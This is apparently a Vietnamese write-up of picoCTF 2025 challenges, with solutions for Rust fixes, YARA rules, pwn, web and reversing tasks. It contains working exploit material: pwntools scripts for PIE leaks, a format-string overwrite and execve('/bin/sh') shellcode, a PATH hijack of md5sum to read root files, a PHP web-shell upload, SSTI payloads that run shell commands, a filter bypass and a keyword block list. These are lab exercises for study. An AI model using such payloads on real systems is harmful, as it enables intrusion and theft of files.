# PicoCTF 2025


# GENERAL SKILLS
## Fantasy CTF
Bài này để làm quen với terminal

## Rust fixeme 1
Check source code:
```rust=
use xor_cryptor::XORCryptor;
fn main() {
// Key for decryption
let key = String::from("CSUCKS") // How do we end statements in Rust?
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6", "50", "d3", "35"];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
// Create decrpytion object
let res = XORCryptor::new(&key);
if res.is_err() {
ret; // How do we return in rust?
}
let xrc = res.unwrap();
// Decrypt flag and print it out
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
println!(
":?", // How do we print out a variable in the println function?
String::from_utf8_lossy(&decrypted_buffer)
);
}
```
Tổng cộng có 3 chỗ cần fix: thiếu dấu ;, ret và println. Đầu tiền với ret

1/ Có vẻ như bị sai chính tả, ret; -> return;
2/ Theo format in 1 biến là {} chứ không phải :?


## Rust fixme 2
Check source code:
```rust=
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &String){ // How do we pass values to a function that we want to change?
// Key for decryption
let key = String::from("CSUCKS");
// Editing our borrowed value
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
// Create decrpytion object
let res = XORCryptor::new(&key);
if res.is_err() {
return; // How do we return in rust?
}
let xrc = res.unwrap();
// Decrypt flag and print it out
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
println!("{}", borrowed_string);
}
fn main() {
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", >
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable?
decrypt(encrypted_buffer, &party_foul); // Is this the correct way to pass a value to a function so that it can be changed?
}
```
Bài này chỉ cần thêm từ khoá "mut" ở các biến cần thay đổi giá trị của nó sau này:
```rust
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &mut String){ // How do we pass values to a function that we want to change?
// Key for decryption
let key = String::from("CSUCKS");
// Editing our borrowed value
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
// Create decrpytion object
let res = XORCryptor::new(&key);
if res.is_err() {
return; // How do we return in rust?
}
let xrc = res.unwrap();
// Decrypt flag and print it out
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
println!("{}", borrowed_string);
}
fn main() {
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let mut party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable?
decrypt(encrypted_buffer, &mut party_foul); // Is this the correct way to pass a value to a function so that it can be changed?
}
```

## Rust fixme 3
Bài này chỉ cần xoá comment ở khối code unsafe là xong

## YaraRules0x100
> Since this is a Windows executable file, some strings within this binary can be "wide" strings. Try declaring your string variables something like $str = "Some Text" wide ascii wherever necessary.
Dựa trên đoạn gợi ý của bài, mình có thể sử dụng các loại biến string để xác định các đoạn ascii trong file exe.
Ngoài ra, mình đã sử dụng một số gợi ý từ bài viết giới thiệu về [yara rule trên facebook](https://web.facebook.com/share/p/18Y8U5u3cD/) để có thể hoàn thành bài này.
```yara=
rule Suspicious
{
meta:
description = "picoCTF2025"
author = "Long"
date = "2025-03-12"
strings:
$upx0 = "UPX0" ascii
$upx1 = "UPX1" ascii
$upx2 = "UPX!" ascii
$xrich = "xRich" ascii
$addl1 = "kernel32.dll" nocase wide ascii
$addl2 = "user32.dll" nocase wide ascii
$addl3 = "shell32.dll" nocase wide ascii
$addl4 = "advapi.dll" nocase wide ascii
$addl5 = "vcruntime140.dll" nocase wide ascii
$addl6 = "gdi32.dll" nocase wide ascii
$addl7 = { B8 ?? ?? 00 00 8B ?? 24 ?? 83 ?? ?? 89 ?? 24 }
$addl9 = { 6A 00 68 ?? ?? ?? ?? 6A 00 6A 00 }
condition:
uint16(0) == 0x5A4D and
filesize < 1MB and
(
(any of ($upx*, $xrich)) or (all of ($addl*))
)
}
```

> Flag: picoCTF{yara_rul35_r0ckzzz_4b652721}
# PWN
## PIE TIME
Kiểm tra source code:
```c=
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
```
Bài này khi ta nhập input là 1 địa chỉ có tồn tại thì chương trinh sẽ nhảy đến địa chỉ đó, code leak sẵn cho ta hàm main, thế thì ta chỉ cần tính PIE base và cộng PIE base với offset của win là xong.
Xài kĩ thuật debug động sẽ tìm được offset hàm main là 0x133d

Tìm được PIE base thì ta chỉ cần tính địa chỉ win là xong:
```python=
#!/usr/bin/env python3.11
from pwn import *
elf=ELF("./vuln", checksec=False)
#r=process(elf.path)
r=remote("rescued-float.picoctf.net", 52820)
r.recvuntil(b'Address of main: ')
main=int(r.recvline(), 16)
print("Main leaked: ", hex(main))
pb=main-0x133d
win=pb+elf.sym['win']
print("Win: ", hex(win))
r.interactive()
```

## hash-only-1
Để ý ở dòng trong mã giả do IDA decompile:
```bash=
/bin/bash -c 'md5sum /root/flag.txt'
```
Md5sum dùng để tính toán theo thuật toán md5 và sau đó lệnh sẽ in ra flag dưới dạng thuật toán đấy, ta có thể hijack nội dung của md5sum ép chương trình in ra flag thật thay vì đoạn hash

## hash-only-2
Bài này mặc định ta đang ở trong 1 môi trường có nhiều hạn chế về thực thi command, ví dụ thử với lệnh cd:

Để thoát khỏi rbash thì nhập lệnh bash
Tìm đường dẫn tới file flaghasher rồi hijack md5sum
```bash=
ctf-player@challenge:~$ mkdir /tmp/fakebin
mkdir: cannot create directory ‘/tmp/fakebin’: File exists
ctf-player@challenge:~$ echo -e '#!/bin/bash\ncat /root/flag.txt' > /tmp/fakebin/md5sum
ctf-player@challenge:~$ chmod +x /tmp/fakebin/md5sum
ctf-player@challenge:~$ export PATH=/tmp/fakebin:$PATH
ctf-player@challenge:~$ /usr/local/bin/flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_9c5db6a7}
```
## PIE TIME 2
Xem source code:
```C=
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
```
Bài này có lỗi format string khi print biến buffer.
Kiểm tra các lớp bảo vệ của chương trình thì có PIE, tức là phải tính toán địa chỉ win, nhưng phải kiểm tra stack có gì để leak ngay lúc print buffer không để tính được PIE base

Để ý ở dòng dưới cùng nó 1 địa chỉ binary có vẻ xài được

Đây là offset giữa địa chỉ đấy với PIE base, từ đó ta có thể tính địa chỉ win bằng cách leak binary, trừ nó với 0x1400, cộng kết quả mới trừ với offset của win với PIE base là ra hàm win, ta có thể viết script in ra offset hàm win:
```python=
from pwn import *
elf=ELF("./vuln", checksec=False)
r=process(elf.path)
print("Win offset:", hex(elf.sym['win']))
r.interactive()
```

Để leak địa chỉ binary thì ta đếm và cần format %25$p:

Khi leak được thì tính toán địa chỉ bằng gdb và nhập nó vào challenge là xong.
## Echo Valley
Kiểm tra source code
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}
```
Bài này có lỗi format string được lồng vào trong hàm while(1), khả năng rất cao có thể thực hiện ghi đè GOT nhưng bài này là full relro, ta chỉ có quyền read chứ không thể thay đổi địa chỉ của GOT.
Chall này chứa hàm print_flag, tức là ta có thể cần làm gì đó với saved rip để return vào hàm print_flag


Ta sẽ lấy con trỏ chứa địa chỉ saved rip để ghi 2 byte cuối của print_flag vào giá trị của con trỏ đó

Thế thì có 2 địa chỉ cần leak, 1 là 1 địa chỉ binary để tính PIE base và print địa chỉ print_flag, 2 là 1 địa chỉ con trỏ để tính offset từ đó tới con trỏ rip, từ đó có thể ghi được vào con trỏ đó

Tính offset

```python=
#!/usr/bin/env python3.11
from pwn import *
elf=ELF("./valley", checksec=False)
r=remote("shape-facility.picoctf.net", 49437)
r.recvline()
r.sendline(b'%21$p')
r.recvuntil(b'You heard in the distance: ')
leak_bin=int(r.recvline(), 16)
print("Leak binary: ", hex(leak_bin))
offset=0x1413
pb=leak_bin-0x1413 #PIE BASE
win=pb+elf.sym['print_flag']
print("Print flag function address: ", hex(win))
r.sendline(b'%9$p')
r.recvuntil(b'You heard in the distance: ')
leak_add=int(r.recvline(), 16)+0x30
part=win & 0xffff ##Lấy 2 byte cuối của print_flag
print("2 bytes: ", hex(part))
payload=f'%{part}c%14$hn'.encode()+b'\x00'*3
payload+=b'a'*48
payload+=p64(leak_add)
r.sendline(payload)
r.interactive()
```


## Handoff
Kiểm tra source code
```c=
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}
```
Bài này có 3 bug: 2 bug buffer overflow khi nhập mảng name và feedback, 1 bug ở đoạn nhập choice, ta có thể nhập giá trị âm, nhưng ở đây ta sẽ không tận dụng bug này.
Sau khi kiểm tra một hồi thì mình thấy các dữ liệu cho sẵn không có gì để leak, giả dụ có thì cũng không có cách nào để leak được, challenge cũng không có gadget system, nhưng bài này bit NX có bật, ta sẽ hướng nó theo shellcode.
Nhân lúc mảng feedback có overflow, ta sẽ thử xem trước khi break while sẽ có gì

Ở đây những gì ta có là offset từ lúc nhập đến rsp bị overflow là 20 bytes, rax và rcx lưu con trỏ trỏ tới giá trị từ lúc nhập nhưng lại set giá trị null ở byte thứ 8 trong mảng feedback (nếu đọc code thì sẽ biết đó là do dòng code: feedback[7] = 0; )
RSP bị overflow ở byte thứ 20, fgets(feedback, 32, stdin), tức là ta chỉ có thể ghi 32-20=12 bytes, loại bỏ ý tưởng nop sled tới shellcode vì 12 bytes không thể chứa shellcode, ta chỉ có thể đặt 1 địa chỉ 8 bytes và mình chọn gadget jmp rax vi rax có trỏ tới giá trị mình nhập

Thế nhưng rax chỉ chứa có 7 bytes, giả sử ta nhập 1 con trỏ nào đó thì byte thứ 8 cũng bị null. Nhưng mảng msg lại có dung lượng khá lớn ta sẽ viết 1 shellcode gồm 7 byte nhảy tới msg và chương trình store shellcode vào rax, khi jmp rax đồng nghĩa jmp vào shellcode đó (ở msg thì ta sẽ chèn shellcode system("/bin/sh")).
Thế thì shellcode jump vào system("/bin/sh") sẽ đại loại như: sub rax, offset; jmp rax; vì khi sub rax và rax lúc đó sẽ trỏ vào shellcode trong msg, ta thực hiện jmp rax nữa để thực thi shellcode chiếm shell:
```
shellcode=asm(
'''
nop
nop
sub rax, 0x8c
nop
nop
nop
nop
jmp rax
''', arch='amd64')
```

Giờ ta chỉ cần tiếp tục tới jmp rax là có thể thực thi system("/bin/sh")
Script:
```python=
#!/usr/bin/env python3.11
from pwn import *
elf=ELF("./handoff", checksec=False)
r=process(elf.path)
for i in range(1,9):
r.recvuntil(b'3. Exit the app')
r.sendline(b'1')
r.recvuntil(b'name: ')
r.sendline(b'abc')
r.recvuntil(b'3. Exit the app')
r.sendline(b'2')
r.recvuntil(b'send a message to?')
r.sendline(f'{i-1}'.encode())
r.recvuntil(b'you like to send them?')
r.sendline(b'abc')
r.recvuntil(b'3. Exit the app')
r.sendline(b'1')
r.recvuntil(b'name: ')
r.sendline(b'abcdef')
r.recvuntil(b'3. Exit the app')
r.sendline(b'2')
r.recvuntil(b'send a message to?')
r.sendline(b'8')
r.recvuntil(b'you like to send them?')
shellcode=asm(
'''
mov rdi, 29400045130965551
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''', arch='amd64')
r.sendline(shellcode)
r.recvuntil(b'3. Exit the app')
r.sendline(b'3')
r.recvuntil(b'appreciate it: ')
jmp_rax=0x000000000040116c
shellcode=asm(
'''
nop
nop
sub rax, 0x8c
nop
nop
nop
nop
jmp rax
''', arch='amd64')
payload=shellcode.ljust(20, b'\x90')
payload+=p64(jmp_rax)
r.sendline(payload)
r.interactive()
```
Ở đoạn đầu mình có sử dụng for để nhập hết 10 phần tử struct để offset giảm từ đó sub rax, offset có thể nhẹ hơn tiện cho việc thêm NOP để align.

# WEB
## Cookie Monster Secret Recipe
> Cookie Monster has hidden his top-secret cookie recipe somewhere on his website. As an aspiring cookie detective, your mission is to uncover this delectable secret. Can you outsmart Cookie Monster and find the hidden recipe?
Ở bài này, ta chỉ cần đăng nhập linh tinh. Sau đó F12 và vào trong application để lấy cookie. Decode base64 và nhận flag
> Flag: picoCTF{c00k1e_m0nster_l0ves_c00kies_6E81FC1E}
## head-dump
> Welcome to the challenge! In this challenge, you will explore a web application and find an endpoint that exposes a file containing a hidden flag.
The application is a simple blog website where you can read articles about various topics, including an article about API Documentation. Your goal is to explore the application and find the endpoint that generates files holding the server’s memory, where a secret flag is hidden.
Trên trang web này, không có thứ gì chúng ta có thể tương tác được. Vì vậy, mình sẽ sử dụng dirsearch để fuzz các endpoint của nó.

Truy cập vào endpoint **/api-docs**, ta thấy được trang Swagger UI (một extension được tích hợp để test các API trên project).

Sử dụng api **/heapdump**, ta có thể nhận được một file txt.

> Flag: picoCTF{Pat!3nt_15_Th3_K3y_bed6b6b8}
## n0s4n1ty 1
> A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.
Đây là một dạng bài Upload File cơ bản. Ở bài này, ta chỉ cần upload một file php chứa hàm **exec()** để sử dụng được các lệnh linux.
Đầu tiên chúng ta sẽ hook cái raw request trên Burp Suite. Sau đó, chỉ cần chỉnh sửa tên file thành đuôi .php, và nhập code php sau: ```<?php echo exec('sudo cat /root/flag.txt'); ?>```


> Flag: picoCTF{wh47_c4n_u_d0_wPHP_d698d800}
## SSTI1
> I made a cool website where you can announce whatever you want! Try it out!
I heard templating is a cool and modular way to build web apps! Check out my website here!
Bài này hướng chúng ta khai thác lỗ hổng SSTI, ta có thể inject các code python vào trang web sử dụng Jinja2 và tìm file flag.txt.
```jinja2=
{{ request|attr("application")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")("cat $(find / -type f -name *lag*)")|attr("read")() }}
```

> Flag: picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_424a1494}
## WebSockFish
>Can you win in a convincing manner against this chess bot? He won't go easy on you!
Ở bài này, ta dùng Burpsuite để bắt các request khi tương tác trang web. Đi 1 nước, sau đó kiểm tra WebSockets history, ta thấy được có 1 socket gửi tới server. Gửi eval -99999, ta sẽ nhận được flag.

>Flag: picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_c0789e29}
## 3v@l
>ABC Bank's website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank's calculator and read the flag?
F12 vào trang web, ta tìm được đoạn comment như sau
```html=
<!--
TODO
------------
Secure python_flask eval execution by
1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
-->
```
Ở đoạn comment đầu tiên, có các từ khóa đã bị ban, ngoại trừ hàm ***open()***. Vì vậy mình sẽ chọn hàm open để cố gắng mở file flag.txt.
Ở đoạn comment thứ hai, dán regex này lên regex101.com, ta sẽ thấy đoạn được regex này đã cấm /flag.txt. Vì vậy mình sẽ đổi / và . thành số nguyên.

Payload:
```python=
open(chr(47)+"flag" + chr(46)+ "txt").read()
```

>Flag: picoCTF{D0nt_Use_Unsecure_f@nctions3ce5e79c}
## SSTI2
>I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)
Ở bài này, mình sử dụng payload từ bài SSTI1 thì nhận ra rằng có một vài keyword đã bị ban. Vì vậy mình thay thế bằng việc sử dụng hàm **attribute()**.

```jinja2=
{{request|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(97,112,112,108,105,99,97,116,105,111,110))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,108,111,98,97,108,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,98,117,105,108,116,105,110,115,95,95))|attr("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,101,116,105,116,101,109,95,95))("%c%c%c%c%c%c%c%c%c%c"|format(95,95,105,109,112,111,114,116,95,95))('o''s')|attr('p''open')('c"a"t $(find / -type f -name *lag*)')|attr("re""ad")()}}
```

>Flag: picoCTF{sst1_f1lt3r_byp4ss_8b534b82}
## Apriti sesamo
>I found a web app that claims to be impossible to hack!
>Hint: Backup files
Có vẻ như bài này hint chúng ta về việc truy cập vào backup files của php, đó là thêm dấu ~ vào cuối file. Ta nhận được đoạn code php sau.
```html=
<!--?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?-->
```

Chuyển các kí tự hex về string và format code, ta được đoạn code php này:
```php=
<?php
if(isset($_POST["username"]) && isset($_POST["pwd"])) {
$yuf85e0677 = $_POST["username"];
$rs35c246d5 = $_POST["pwd"];
if ($yuf85e0677 == $rs35c246d5) {
echo "<br/>Failed! Not equal";
} else {
if (sha1($yuf85e0677) === sha1($rs35c246d5)) {
echo file_get_contents("../flag.txt");
} else {
echo "<br/>Failed! Not equal";
}
}
}
?>
```
Ở đây xuất hiện một lỗi [php type juggling](https://www.php.net/manual/en/language.types.type-juggling.php), khi ta sử dụng một đoạn xâu có '0e...' ở đầu so sánh với số 0, nó sẽ chuyển đoạn xâu thành 0 và return true.

>Flag: picoCTF{w3Ll_d3sErV3d_Ch4mp_9c79e5f6}
## Pachinko
>History has failed us, but no matter.
Mình bruteforce memory để ra flag.
```python=
import requests
import json
port = 12345
url = f"http://activist-birds.picoctf.net:{port}/check"
for i in range(0, 0xFFFF):
payload = {"circuit": [{"input1": i, "input2": i, "output": i}]}
response = requests.post(url, json=payload)
if "picoCTF" in response.text:
print(response.text)
print(json.dumps(payload))
```
> Flag: picoCTF{p4ch1nk0_f146_0n3_e947b9d7}
# REVERSE
## Flag Hunters
>Lyrics jump from verses to the refrain kind of like a subroutine call. There's a hidden refrain this program doesn't print by default. Can you get it to print it? There might be something in it for you.
<details>
<summary>lyric-reader</summary>
```python=
import re
import time
flag = open('flag.txt', 'r').read()
secret_intro = \
'''Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, '''\
+ flag + '\n'
song_flag_hunters = secret_intro +\
'''
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
CROWD (Singalong here!);
RETURN
[VERSE1]
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?
REFRAIN;
Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.
REFRAIN;
Binary sorcerers, let’s tear it apart,
Disassemble the code to reveal the dark heart.
From opcode to logic, tracing each line,
Emulate and break it, this key will be mine.
Debugging the maze, and I see through the deceit,
Patch it up right, and watch the lock release.
REFRAIN;
Ciphertext tumbling, breaking the spin,
Feistel or AES, we’re destined to win.
Frequency, padding, primes on the run,
Vigenère, RSA, cracking them for fun.
Shift the letters, matrices fall,
Decrypt that flag and hear the ether call.
REFRAIN;
SQL injection, XSS flow,
Map the backend out, let the database show.
Inspecting each cookie, fiddler in the fight,
Capturing requests, push the payload just right.
HTML's secrets, backdoors unlocked,
In the world wide labyrinth, we’re never lost.
REFRAIN;
Stack's overflowing, breaking the chain,
ROP gadget wizardry, ride it to fame.
Heap spray in silence, memory's plight,
Race the condition, crash it just right.
Shellcode ready, smashing the frame,
Control the instruction, flags call my name.
REFRAIN;
END;
'''
MAX_LINES = 100
def reader(song, startLabel):
lip = 0
start = 0
refrain = 0
refrain_return = 0
finished = False
# Get list of lyric lines
song_lines = song.splitlines()
# Find startLabel, refrain and refrain return
for i in range(0, len(song_lines)):
if song_lines[i] == startLabel:
start = i + 1
elif song_lines[i] == '[REFRAIN]':
refrain = i + 1
elif song_lines[i] == 'RETURN':
refrain_return = i
# Print lyrics
line_count = 0
lip = start
while not finished and line_count < MAX_LINES:
line_count += 1
for line in song_lines[lip].split(';'): #this will split song_lines[lip] to ['Crowd','RETURN 0']
if line == '' and song_lines[lip] != '':
continue
if line == 'REFRAIN':
song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
lip = refrain
elif re.match(r"CROWD.*", line):
crowd = input('Crowd: ')
song_lines[lip] = 'Crowd: ' + crowd #song_lines[lip] will save Crowd: ;RETURN 0 (Command Injection)
lip += 1
elif re.match(r"RETURN [0-9]+", line): #this will matche RETURN 0
lip = int(line.split()[1]) #lip will get the position 0, make the program read from line 0
elif line == 'END':
finished = True
else:
print(line, flush=True)
time.sleep(0.5)
lip += 1
reader(song_flag_hunters, '[VERSE1]')
```
</details>
Ở đây, ta thấy một lỗi logic ```for line in song_lines[lip].split(';'):```, khi chúng ta nhập ```;RETURN 0``` nó sẽ tách Crowd và RETURN 0 vào mảng song_lines. Khi này, chương trình sẽ rơi vào đoạn if ```elif re.match(r"RETURN [0-9]+", line):``` và chạy dòng
đầu tiên của bài nhạc.
>Flag: picoCTF{70637h3r_f0r3v3r_62666df2}
## Binary Instrumentation 1

Khả năng cao là sẽ phải hook các api có thể làm delay chương trình, như challenge có bảo "I'll take a quick nap" thì khả năng cao là api Sleep.
Vào phần __handler__ và hook Sleep:
```javascript
defineHandler({
onEnter(log, args, state) {
log("[*] Intercepted Sleep! Forcing Sleep(0).");
// Set the sleep duration argument to 0
args[0] = ptr(0);
}
});
```

Flag đã có, decocde nữa là xong

## Tap into Hash
>Can you make sense of this source code file and write a function that will decode the given encrypted file content?
```python=
import hashlib
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def unpad(data):
padding_length = data[-1]
return data[:-padding_length]
def decrypt(c, k):
k_hash = hashlib.sha256(k).digest()
plaintext = b''
block_size = 16
for i in range(0, len(c), block_size):
block = c[i:i + block_size]
plain_block = xor_bytes(block, k_hash)
plaintext += plain_block
return unpad(plaintext)
k = b'\xa9\xcco`\xfa\xf9\xb5\xc0\xda\xf6*\xb3\xbe\xa9t\x0fi\xae\x13\x01q-\xae\x9ap\xb7\xa45\x1e{\xaa\xb4'
